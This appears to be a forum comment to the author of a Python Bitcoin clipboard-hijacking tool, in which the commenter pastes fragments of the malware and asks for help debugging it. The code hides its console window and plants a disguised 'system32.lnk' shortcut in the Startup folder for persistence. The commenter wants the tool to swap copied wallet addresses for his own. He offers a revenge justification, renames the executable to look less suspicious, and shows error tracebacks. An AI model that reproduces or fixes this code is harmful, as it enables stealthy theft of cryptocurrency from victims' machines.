@ElmanTr - Nice work and everything seemed to be running, then I went in and completed config() as follows:
if name == 'C://local//Bitcoin-hack-with-clipboard-in-python//':
alternative = "C://local//Bitcoin-hack-with-clipboard-in-python//"
return alternative
if name == 'btc wallet 1':
alternative = "MyBTCWallet1"
return alternative
if name == 'btc wallet 2':
alternative = "MyBTCWallet2"
return alternative
if name == 'btc wallet 3':
alternative = "MyBTCWallet3"
return alternative
Also did a find/replace-all for {btc wallet1,...,bcwallet3} which made 3 replacements, the ones above and two other locations.
I popped in the paths and replaced \User\{}\... with {} = myusername as follows:
lnk_r = subprocess.run('dir',cwd='C:\Users\{ME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'.format(info_o2),shell=True,stdout=subprocess.PIPE)
lnk_output = lnk_r.stdout.decode("utf-8")
f3 = lnk_output.find('system32.lnk')
if f3 == -1 :
path = os.path.join("C:\Users\(ME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup".format(info_o2), "system32.lnk")
target = "{}\BTC-hack-with-clipboard.exe".format(config('C:\ocal\Bitcoin-hack-with-clipboard-in-python\'))
wDir = config('C:\local\Bitcoin-hack-with-clipboard-in-python\')
I also executed the following because it kept throwing an error:
[prompt]> BTC-env3.exe (the .exe I created from the .py script using auto-py-to-exe
env [prompt] > BTC-env3.exe (Note: I renamed he filename to be a bit less blinging...lmao)
Traceback (most recent call last):
File "BTC-env3.py", line 1, in
import win32clipboard
ModuleNotFoundError: No module named 'win32clipboard'
[19636] Failed to execute script BTC-env3
So, executed the following:
env [prompt]> python C:\local\Bitcoin-hack-with-clipboard-in-python\env\Scripts\pywin32_postinstall.py -install
And the following is the output, [it succeeded]:
Parsed arguments are: Namespace(destination='C:\local\Bitcoin-hack-with-clipboard-in-python\env\Lib\site-packages', install=True, quiet=False, remove=False, silent=False, wait=None)
Copied pythoncom38.dll to C:\Windows\system32\pythoncom38.dll
Copied pywintypes38.dll to C:\Windows\system32\pywintypes38.dll
Registered: Python.Interpreter
Registered: Python.Dictionary
Registered: Python
-> Software\Python\PythonCore\3.8\Help[None]=None
-> Software\Python\PythonCore\3.8\Help\Pythonwin Reference[None]='C:\local\Bitcoin-hack-with-clipboard-in-python\env\Lib\site-packages\PyWin32.chm'
Pythonwin has been registered in context menu
Creating directory C:\local\Bitcoin-hack-with-clipboard-in-python\env\Lib\site-packages\win32com\gen_py
Shortcut for Pythonwin created
Shortcut to documentation created
The pywin32 extensions were successfully installed.
However, when executing the .py script, the window disappears [as it should from your script]:
Hide terminal
kernel = ctypes.WinDLL('kernel32')
user = ctypes.WinDLL('user32')
SW_HIDE = 0
hWnd = kernel.GetConsoleWindow()
user.ShowWindow(hWnd, SW_HIDE)
However, the .exe file is still throwing the error:
Traceback (most recent call last):
File "BTC-env3.py", line 1, in
import win32clipboard
ModuleNotFoundError: No module named 'win32clipboard'
[19636] Failed to execute script BTC-env3
And, not seeing it in the ask manager as running...(???) - So, no way of telling if its running the background or not.
Thanks for posting, I can actually hopefully get 120 BTC that were stolen from me and I know the people who did it, and I know their addresses {a least the ones they were using when it was taken, and saw they have not spent it yet on the blockchain, so would be nice to get my BTC back...so it is being used legitimately since local law enforcement cannot get off their asses to do anything!
Last, I went ahead and commented out the hide terminal part and when running the script, seeing the following error:
Traceback (most recent call last):
File "BTC-env3.py", line 59, in
shortcut.WorkingDirectory = wDir
File "C:\local\Bitcoin-hack-with-clipboard-in-python\env\lib\site-packages\win32com\client\dynamic.py", line 565, in setattr
raise AttributeError("Property '%s.%s' can not be set." % (self.username, attr))
AttributeError: Property '.WorkingDirectory' can not be set.
??? - I have taken ownership of that working directory and signed in with local user account and a member of administrators, so that is not the reason for this error '.WorkingDirectory' can not be set - any ideas too help me get this up and running would be greatly appreciated so I can hopefully recover if not all a part of whomever it was - a least I have their wallets, so I am creating env1, env2, and env3, to have 9 wallets in total, each envN.py will run within its own envN virtual environment.
And, I have some ideas for you as I have Mathematica 12 which has a new section called Blockchain, and that could be used to yours, mine, and others' advantage, so feel free to email me directly [email protected].